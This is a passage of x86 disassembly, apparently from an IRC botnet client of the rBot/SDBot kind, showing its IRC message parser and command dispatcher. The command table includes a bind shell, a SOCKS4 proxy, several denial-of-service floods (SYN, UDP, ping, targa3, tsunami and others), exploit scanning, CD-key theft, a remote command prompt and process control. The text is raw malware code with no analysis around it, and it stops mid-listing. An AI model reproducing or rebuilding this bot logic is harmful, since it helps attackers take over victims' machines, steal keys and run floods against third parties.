[ebp-0C0h] push eax lea eax, [ebp-2C0h] shl esi, 7 push offset unk_42DFE0 push eax mov [esi+edi], bl call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4152AE push dword ptr [ebp-8Ch] push offset aPart ; "PART" call sub_41C260 add esp, 18h test eax, eax jnz loc_401F82 lea eax, [ebp-2C0h] push eax mov eax, [ebp-90h] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401EBD ; --------------------------------------------------------------------------- loc_4020D6: ; CODE XREF: seg000:0040204Bj push dword ptr [ebp-8Ch] mov edi, offset aPrivmsg ; "PRIVMSG" push edi call sub_41C260 pop ecx mov esi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40212A push dword ptr [ebp-8Ch] push esi call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_40212A push dword ptr [ebp-8Ch] push offset dword_42DFCC call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_409753 cmp ds:dword_42A08C, ebx jz loc_409753 loc_40212A: ; CODE XREF: seg000:004020F0j ; seg000:00402102j push dword ptr [ebp-8Ch] push edi call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40229D push dword ptr [ebp-8Ch] push esi call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40229D mov eax, [ebp-84h] inc dword ptr [ebp-80h] mov dword ptr [ebp-0A4h], 4 mov [ebp-88h], eax loc_40216F: ; CODE XREF: seg000:0040235Cj ; seg000:00402398j ... mov eax, [ebp-0A4h] mov esi, eax shl esi, 2 lea edi, [ebp+esi-90h] mov eax, [edi] push eax push offset dword_42DFC4 mov [ebp+10h], eax call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_402539 push dword ptr [ebp+esi-8Ch] push offset aSend_0 ; "SEND" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_402404 cmp [ebp-0A8h], ebx jz loc_4023DA push dword ptr [ebp+esi-88h] mov edi, offset aS_2 ; "%s" lea eax, [ebp-1B7Ch] push edi push eax call sub_41BA76 push dword ptr [ebp+esi-84h] lea eax, [ebp-1B90h] push edi push eax call sub_41BA76 push dword ptr [ebp+esi-80h] call sub_41B969 mov [ebp-19F8h], eax mov eax, [ebp+0Ch] mov [ebp-1B98h], eax lea eax, [ebp-0C0h] push 7Fh push eax lea eax, [ebp-1A78h] push eax call sub_41B7E0 mov eax, [ebp-4] mov [ebp-19F0h], eax mov eax, [ebp-8] mov [ebp-19ECh], eax lea eax, [ebp-1A78h] push eax lea eax, [ebp-1B7Ch] push eax lea eax, [ebp-2C0h] push offset unk_42DF88 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 1Ah push eax call sub_40AF71 add esp, 44h mov [ebp-19F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1B98h] push ebx push eax push (offset loc_416242+1) push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-19F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jz loc_409272 jmp loc_4023D0 ; --------------------------------------------------------------------------- loc_40229D: ; CODE XREF: seg000:0040213Aj ; seg000:00402150j push dword ptr [ebp-8Ch] push esi call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_4022B6 mov dword ptr [ebp-4], 1 loc_4022B6: ; CODE XREF: seg000:004022ADj cmp [ebp-88h], ebx jz loc_401F82 push offset dword_42DF84 push dword ptr [ebp-88h] call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_4022DD cmp [ebp-4], ebx jz short loc_4022E9 loc_4022DD: ; CODE XREF: seg000:004022D6j lea eax, [ebp-0C0h] mov [ebp-88h], eax loc_4022E9: ; CODE XREF: seg000:004022DBj cmp [ebp-84h], ebx jz loc_401F82 inc dword ptr [ebp-84h] jz short loc_402333 cmp [ebp+18h], ebx jz short loc_402333 lea eax, [ebp-334h] push eax call sub_41B1D0 push eax lea eax, [ebp-334h] push dword ptr [ebp-84h] push eax call sub_41C060 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp-0A4h], eax jmp short loc_402339 ; --------------------------------------------------------------------------- loc_402333: ; CODE XREF: seg000:004022FBj ; seg000:00402300j mov eax, [ebp-0A4h] loc_402339: ; CODE XREF: seg000:00402331j mov edi, eax shl edi, 2 mov esi, [ebp+edi-90h] cmp esi, ebx jz loc_401F82 push esi push offset dword_42DF78 call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_40216F mov ecx, [ebp-88h] cmp byte ptr [ecx], 23h jz short loc_402389 mov eax, ds:dword_4CDAAC mov eax, ds:off_42A158[eax*4] cmp [eax], bl jz short loc_402389 push eax push ecx push offset dword_42DF5C jmp loc_401EBD ; --------------------------------------------------------------------------- loc_402389: ; CODE XREF: seg000:0040236Bj ; seg000:0040237Bj push esi push offset dword_42DF54 call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_40216F mov edi, [ebp+edi-8Ch] cmp edi, ebx jz loc_40216F mov eax, [ebp-88h] cmp byte ptr [eax], 23h jz loc_40216F push edi push eax push offset dword_42DF3C jmp loc_401EBD ; --------------------------------------------------------------------------- loc_4023C8: ; CODE XREF: seg000:004023D6j push 32h call ds:dword_428064 ; Sleep loc_4023D0: ; CODE XREF: seg000:00402298j cmp [ebp-19E8h], ebx jz short loc_4023C8 jmp short loc_4023FC ; --------------------------------------------------------------------------- loc_4023DA: ; CODE XREF: seg000:004021BCj lea eax, [ebp-0C0h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset unk_42DEF8 push eax call sub_41BA76 add esp, 10h loc_4023FC: ; CODE XREF: seg000:004023D8j ; seg000:00402512j ... xor esi, esi inc esi jmp loc_406CA3 ; --------------------------------------------------------------------------- loc_402404: ; CODE XREF: seg000:004021B0j push dword ptr [ebp+esi-8Ch] push offset aChat ; "CHAT" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_40254F cmp [ebp-0A8h], ebx jz loc_402528 push 1Bh call sub_40B1B3 test eax, eax pop ecx jnz loc_402517 push dword ptr [ebp+esi-84h] lea eax, [ebp-2AA4h] push offset aS_2 ; "%s" push eax call sub_41BA76 push dword ptr [ebp+esi-80h] call sub_41B969 mov [ebp-290Ch], eax mov eax, [ebp+0Ch] mov [ebp-2AACh], eax lea eax, [ebp-0C0h] push 7Fh push eax lea eax, [ebp-298Ch] push eax call sub_41B7E0 mov eax, [ebp-4] mov [ebp-2904h], eax mov eax, [ebp-8] mov [ebp-2900h], eax lea eax, [ebp-0C0h] push eax lea eax, [ebp-2C0h] push offset unk_42DECC push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 1Bh push eax call sub_40AF71 add esp, 34h mov [ebp-2908h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2AACh] push ebx push eax push offset dword_415CE0 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-2908h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40250A call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42DE94 jmp loc_40831C ; --------------------------------------------------------------------------- loc_402502: ; CODE XREF: seg000:00402510j push 32h call ds:dword_428064 ; Sleep loc_40250A: ; CODE XREF: seg000:004024EFj cmp [ebp-28FCh], ebx jz short loc_402502 jmp loc_4023FC ; --------------------------------------------------------------------------- loc_402517: ; CODE XREF: seg000:00402435j lea eax, [ebp-0C0h] push eax push offset unk_42DE64 jmp loc_40831C ; --------------------------------------------------------------------------- loc_402528: ; CODE XREF: seg000:00402425j lea eax, [ebp-0C0h] push eax push offset unk_42DE30 jmp loc_40831C ; --------------------------------------------------------------------------- loc_402539: ; CODE XREF: seg000:00402195j mov eax, [ebp+10h] lea ecx, [eax+1] mov al, [eax] cmp al, ds:byte_42A098 mov [edi], ecx jnz loc_401F82 loc_40254F: ; CODE XREF: seg000:00402419j mov edi, [edi] push edi push offset aHi ; "hi" mov [ebp+10h], edi call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40975B push edi push offset aF ; "f" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40975B cmp [ebp-0A8h], ebx jnz short loc_4025A0 push dword ptr [ebp-8Ch] push offset dword_42DFCC call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_409753 loc_4025A0: ; CODE XREF: seg000:00402584j cmp [ebp+30h], ebx jnz loc_409753 xor edi, edi cmp ds:dword_42A488, ebx jle loc_40274D mov dword ptr [ebp+28h], offset dword_43FDB8 loc_4025BE: ; CODE XREF: seg000:004025DDj push dword ptr [ebp+10h] push dword ptr [ebp+28h] call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_4025E4 add dword ptr [ebp+28h], 0B8h inc edi cmp edi, ds:dword_42A488 jl short loc_4025BE jmp loc_40274D ; --------------------------------------------------------------------------- loc_4025E4: ; CODE XREF: seg000:004025CDj push offset asc_42E0CC ; " :" push dword ptr [ebp+8] call sub_41BAF0 pop ecx cmp eax, ebx pop ecx jz loc_401F82 mov cl, ds:byte_42A098 imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_42A098 mov [eax+3], cl lea ecx, dword_43FDD0[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B7E0 lea eax, dword_43FDB8[edi] add esp, 0Ch mov dword ptr [ebp+28h], 0Fh mov [ebp+14h], eax lea edi, [ebp+esi-50h] loc_40263F: ; CODE XREF: seg000:004026E2j push dword ptr [ebp+28h] lea eax, [ebp-0A0h] push offset aD_1 ; "$%d-" push eax call sub_41BA76 lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41BAF0 add esp, 14h test eax, eax jz short loc_4026A1 cmp [edi], ebx jz short loc_4026A5 push dword ptr [ebp+14h] call sub_41B1D0 add [ebp-0Ch], eax pop ecx jz short loc_4026D9 push dword ptr [edi-4] push dword ptr [ebp-0Ch] call sub_41BAF0 pop ecx cmp eax, ebx pop ecx jz short loc_4026D9 push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4180DD add esp, 0Ch jmp short loc_4026D9 ; --------------------------------------------------------------------------- loc_4026A1: ; CODE XREF: seg000:00402667j cmp [edi], ebx jnz short loc_4026D9 loc_4026A5: ; CODE XREF: seg000:0040266Bj lea eax, [ebp-0A0h] push 2 push eax lea eax, [ebp-94h] push eax call sub_41B7E0 lea eax, [ebp-94h] mov [ebp-92h], bl push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4180DD add esp, 18h loc_4026D9: ; CODE XREF: seg000:00402679j ; seg000:0040268Aj ... dec dword ptr [ebp+28h] sub edi, 4 cmp [ebp+28h], ebx jg loc_40263F lea eax, [ebp+esi-50h] mov dword ptr [ebp+28h], 10h mov edi, eax loc_4026F5: ; CODE XREF: seg000:00402741j push dword ptr [ebp+28h] lea eax, [ebp-0A0h] push offset aD_0 ; "$%d" push eax call sub_41BA76 lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41BAF0 add esp, 14h test eax, eax jz short loc_402738 mov eax, [edi] cmp eax, ebx jz short loc_402738 push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4180DD add esp, 0Ch loc_402738: ; CODE XREF: seg000:0040271Dj ; seg000:00402723j dec dword ptr [ebp+28h] sub edi, 4 cmp [ebp+28h], ebx jg short loc_4026F5 mov dword ptr [ebp-2C4h], 1 loc_40274D: ; CODE XREF: seg000:004025B1j ; seg000:004025DFj mov eax, [ebp+10h] mov al, [eax] cmp al, ds:byte_42A098 jz short loc_402766 cmp [ebp-2C4h], ebx jz loc_402952 loc_402766: ; CODE XREF: seg000:00402758j push dword ptr [ebp+18h] mov edi, [ebp+8] push offset aMe ; "$me" push edi call sub_4180DD lea eax, [ebp-0C0h] push eax push offset aUser_2 ; "$user" push edi call sub_4180DD push dword ptr [ebp-88h] push offset aChan ; "$chan" push edi call sub_4180DD push ebx push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40AF07 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_4180DD add esp, 40h push dword ptr [ebp+1Ch] push offset aServer_1 ; "$server" push edi call sub_4180DD mov edi, offset aChr ; "$chr(" push edi push dword ptr [ebp+8] call sub_41BAF0 add esp, 14h jmp loc_4028CD ; --------------------------------------------------------------------------- loc_4027DD: ; CODE XREF: seg000:004028CFj push edi push dword ptr [ebp+8] call sub_41BAF0 mov [ebp+18h], eax add eax, 5 push 4 push eax lea eax, [ebp-0A0h] push eax call sub_41B7E0 lea eax, [ebp-0A0h] push offset asc_42DDE8 ; ")" push eax call sub_41C2E4 add esp, 1Ch cmp byte ptr [ebp-0A0h], 30h jl short loc_402821 cmp byte ptr [ebp-0A0h], 39h jle short loc_402837 loc_402821: ; CODE XREF: seg000:00402816j push 3 lea eax, [ebp-0A0h] push offset a63 ; "63" push eax call sub_41B7E0 add esp, 0Ch loc_402837: ; CODE XREF: seg000:0040281Fj lea eax, [ebp-0A0h] push eax call sub_41B969 test eax, eax pop ecx jle short loc_40285D lea eax, [ebp-0A0h] push eax call sub_41B969 pop ecx mov [ebp-94h], al jmp short loc_402871 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: seg000:00402846j call sub_41BAD2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp-94h], dl loc_402871: ; CODE XREF: seg000:0040285Bj lea eax, [ebp-0A0h] mov [ebp-93h], bl push eax call sub_41B1D0 mov [ebp+28h], eax push 0Ch lea eax, [ebp-0A0h] push ebx push eax call sub_41B780 mov eax, [ebp+28h] add eax, 6 push eax lea eax, [ebp-0A0h] push dword ptr [ebp+18h] push eax call sub_41B7E0 lea eax, [ebp-94h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4180DD push edi push dword ptr [ebp+8] call sub_41BAF0 add esp, 30h loc_4028CD: ; CODE XREF: seg000:004027D8j test eax, eax jnz loc_4027DD mov edi, 1FFh lea eax, [ebp-4484h] push edi push dword ptr [ebp+8] push eax call sub_41B7E0 lea eax, [ebp-4484h] push edi push eax lea eax, [ebp-4AECh] push eax call sub_41B7E0 mov edi, offset asc_42E0C8 ; " " lea eax, [ebp-4AECh] push edi push eax call sub_41C2E4 add esp, 20h mov [ebp-90h], eax mov dword ptr [ebp+28h], 1 loc_402920: ; CODE XREF: seg000:0040293Aj push edi push ebx call sub_41C2E4 pop ecx pop ecx mov ecx, [ebp+28h] inc dword ptr [ebp+28h] cmp dword ptr [ebp+28h], 20h mov [ebp+ecx*4-90h], eax jl short loc_402920 lea eax, [ebp+esi-90h] mov ecx, [eax] cmp ecx, ebx jz loc_401F82 add ecx, 3 mov [eax], ecx loc_402952: ; CODE XREF: seg000:00402760j mov edi, [ebp+esi-90h] push edi push offset aRndnick ; "rndnick" mov [ebp+10h], edi call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409706 push edi push offset aRn ; "rn" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409706 push edi push offset aDie ; "die" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404A27 push edi push offset aD ; "d" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404A27 push edi push offset aLogout ; "logout" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404989 push edi push offset aLo ; "lo" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404989 push edi push offset aVersion ; "version" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40497A push edi push offset aVer ; "ver" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40497A push edi push offset aDedication ; "dedication" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404970 push edi push offset aDed ; "ded" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404970 push edi push offset aSpeedtest ; "speedtest" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404957 push edi push offset aSt ; "st" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404957 push edi push offset aSecure ; "secure" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40485A push edi push offset aSec ; "sec" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40485A push edi push offset aUnsecure ; "unsecure" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40485A push edi push offset aUnsec ; "unsec" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40485A push edi push offset aBindshell ; "bindshell" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404755 push edi push offset aBd ; "bd" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404755 push edi push offset aBindshellstop ; "bindshellstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402AFF push dword ptr [ebp+esi-8Ch] push 6 push offset aServer ; "Server" push offset dword_42DD3C jmp loc_404618 ; --------------------------------------------------------------------------- loc_402AFF: ; CODE XREF: seg000:00402AE5j push edi push offset aSocks4 ; "socks4" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404634 push edi push offset aS4 ; "s4" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404634 push edi push offset aSocks4stop ; "socks4stop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402B52 push dword ptr [ebp+esi-8Ch] push 19h push offset aServer ; "Server" push offset dword_42DD14 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402B52: ; CODE XREF: seg000:00402B38j push edi push offset aRloginstop ; "rloginstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402B7B push dword ptr [ebp+esi-8Ch] push 9 push offset aServer ; "Server" push offset dword_42DCF8 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402B7B: ; CODE XREF: seg000:00402B61j push edi push offset aHttpstop ; "httpstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402BA4 push dword ptr [ebp+esi-8Ch] push 3 push offset aServer ; "Server" push offset dword_42DCDC jmp loc_404618 ; --------------------------------------------------------------------------- loc_402BA4: ; CODE XREF: seg000:00402B8Aj push edi push offset aLogstop ; "logstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402BCD push dword ptr [ebp+esi-8Ch] push 25h push offset dword_42DCC8 push offset dword_42DCBC jmp loc_404618 ; --------------------------------------------------------------------------- loc_402BCD: ; CODE XREF: seg000:00402BB3j push edi push offset aRedirectstop ; "redirectstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402BF6 push dword ptr [ebp+esi-8Ch] push 18h push offset dword_42DC9C push offset dword_42DC8C jmp loc_404618 ; --------------------------------------------------------------------------- loc_402BF6: ; CODE XREF: seg000:00402BDCj push edi push offset dword_42DC80 call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402C1F push dword ptr [ebp+esi-8Ch] push 0Dh push offset dword_42DC74 push offset dword_42DC68 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402C1F: ; CODE XREF: seg000:00402C05j push edi push offset aSynstop ; "synstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402C48 push dword ptr [ebp+esi-8Ch] push 0Eh push offset dword_42DC54 push offset dword_42DC48 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402C48: ; CODE XREF: seg000:00402C2Ej push edi push offset aSkysynstop ; "skysynstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402C71 push dword ptr [ebp+esi-8Ch] push 10h push offset dword_42DC2C push offset dword_42DC1C jmp loc_404618 ; --------------------------------------------------------------------------- loc_402C71: ; CODE XREF: seg000:00402C57j push edi push offset aTarga3stop ; "targa3stop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402C9A push dword ptr [ebp+esi-8Ch] push 11h push offset dword_42DC00 push offset dword_42DBF0 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402C9A: ; CODE XREF: seg000:00402C80j push edi push offset aWonkstop ; "wonkstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402CC3 push dword ptr [ebp+esi-8Ch] push 12h push offset dword_42DBD8 push offset dword_42DBCC jmp loc_404618 ; --------------------------------------------------------------------------- loc_402CC3: ; CODE XREF: seg000:00402CA9j push edi push offset aPacketstop ; "packetstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_402E19 mov esi, [ebp+esi-8Ch] mov edi, [ebp+0Ch] push esi push 0Dh push offset dword_42DC74 push offset dword_42DC68 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 push esi push 0Eh push offset dword_42DC54 push offset dword_42DC48 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 add esp, 40h push esi push 17h push offset dword_42DBB4 push offset dword_42DBA8 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 push esi push 16h push offset dword_42DB9C push offset dword_42DB90 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 add esp, 40h push esi push 11h push offset dword_42DC00 push offset dword_42DBF0 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 push esi push 12h push offset dword_42DBD8 push offset dword_42DBCC push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 add esp, 40h push esi push 0Fh push offset dword_42DB80 push offset dword_42DB70 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 push esi push 13h push offset dword_42DB60 push offset dword_42DB50 push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 add esp, 40h push esi push 10h push offset dword_42DC2C push offset dword_42DC1C push 1 push dword ptr [ebp-4] push dword ptr [ebp-88h] push edi call sub_40B1F9 push ebx push dword ptr [ebp-4] push offset unk_42DB1C push dword ptr [ebp-88h] push edi call sub_409966 add esp, 34h jmp loc_401F82 ; --------------------------------------------------------------------------- loc_402E19: ; CODE XREF: seg000:00402CD2j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402E42 push dword ptr [ebp+esi-8Ch] push 0Fh push offset dword_42DB80 push offset dword_42DB70 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402E42: ; CODE XREF: seg000:00402E28j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402E6B push dword ptr [ebp+esi-8Ch] push 13h push offset dword_42DB60 push offset dword_42DB50 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402E6B: ; CODE XREF: seg000:00402E51j push edi push offset aUdpstop ; "udpstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402E94 push dword ptr [ebp+esi-8Ch] push 17h push offset dword_42DBB4 push offset dword_42DBA8 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402E94: ; CODE XREF: seg000:00402E7Aj push edi push offset aPingstop ; "pingstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402EBD push dword ptr [ebp+esi-8Ch] push 16h push offset dword_42DB9C push offset dword_42DB90 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402EBD: ; CODE XREF: seg000:00402EA3j push edi push offset aTftpstop ; "tftpstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402EE6 push dword ptr [ebp+esi-8Ch] push 5 push offset aServer ; "Server" push offset dword_42DAD4 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402EE6: ; CODE XREF: seg000:00402ECCj push edi push offset aFindfilestop ; "findfilestop" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404605 push edi push offset aFfstop ; "ffstop" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404605 push edi push offset aProcsstop ; "procsstop" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4045F0 push edi push offset aPsstop ; "psstop" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4045F0 push edi push offset aClonestop ; "clonestop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402F63 push dword ptr [ebp+esi-8Ch] push 1Fh push offset aClone ; "Clone" push offset dword_42DA84 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402F63: ; CODE XREF: seg000:00402F49j push edi push offset aSecurestop ; "securestop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402F8C push dword ptr [ebp+esi-8Ch] push 22h push offset aSecure_0 ; "Secure" push offset dword_42DA60 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402F8C: ; CODE XREF: seg000:00402F72j push edi push offset aScanstop ; "scanstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402FB5 push dword ptr [ebp+esi-8Ch] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42DA40 jmp loc_404618 ; --------------------------------------------------------------------------- loc_402FB5: ; CODE XREF: seg000:00402F9Bj push edi push offset aScanstats ; "scanstats" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4045DA push edi push offset aStats ; "stats" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4045DA push edi push offset aTransferstats ; "transferstats" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4045C4 push edi push offset aTrstats ; "trstats" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4045C4 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4045AE push edi push offset aCbstats ; "cbstats" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4045AE push edi push offset aExploitlist ; "exploitlist" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404598 push edi push offset aExplist ; "explist" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404598 push edi push offset aReconnect ; "reconnect" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404579 push edi push offset aR ; "r" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404579 push edi push offset aDisconnect ; "disconnect" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404557 push edi push offset aDc ; "dc" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404557 push edi push offset aQuit_0 ; "quit" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40450E push edi push offset aQ ; "q" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40450E push edi push offset aStatus ; "status" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4044D0 push edi push offset aS_1 ; "s" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4044D0 push edi push offset aId ; "id" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404499 push edi push offset aI ; "i" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404499 push edi push offset aReboot ; "reboot" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_403181 call sub_41851B test eax, eax mov eax, offset unk_42D97C jnz short loc_403153 mov eax, offset unk_42D954 loc_403153: ; CODE XREF: seg000:0040314Cj push eax lea eax, [ebp-2C0h] push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 1Ch jmp loc_4023FC ; --------------------------------------------------------------------------- loc_403181: ; CODE XREF: seg000:0040313Ej push edi push offset aThreads ; "threads" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4043AC push edi push offset aT ; "t" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4043AC push edi push offset aAliases ; "aliases" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404389 push edi push offset aAl ; "al" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404389 push edi push offset aLog ; "log" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40429A push edi push offset aLg ; "lg" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40429A push edi push offset aClearlog ; "clearlog" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40427E push edi push offset aClg ; "clg" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40427E push edi push offset aNetinfo ; "netinfo" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404244 push edi push offset aNi ; "ni" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404244 push edi push offset aSysinfo ; "sysinfo" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404219 push edi push offset aSi ; "si" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404219 push edi push offset aRemov10e ; "remov10e" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4041DF push edi push offset aRemov10e2 ; "remov10e2" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4041DF push edi push offset aProcs ; "procs" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4040C0 push edi push offset aPs ; "ps" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4040C0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404096 push edi push offset aKey ; "key" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_404096 push edi push offset aUptime ; "uptime" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40400F push edi push offset aUp ; "up" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_40400F push edi push offset aDriveinfo ; "driveinfo" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403FF2 push edi push offset aDrv ; "drv" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403FF2 push edi push offset aTestdlls ; "testdlls" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403FD9 push edi push offset aDll ; "dll" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403FD9 push edi push offset aOpencmd ; "opencmd" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403F65 push edi push offset aOcmd ; "ocmd" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403F65 push edi push offset aCmdstop ; "cmdstop" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_4033CC push dword ptr [ebp+esi-8Ch] push 0Ah push offset dword_42D884 push offset dword_42D878 jmp loc_404618 ; 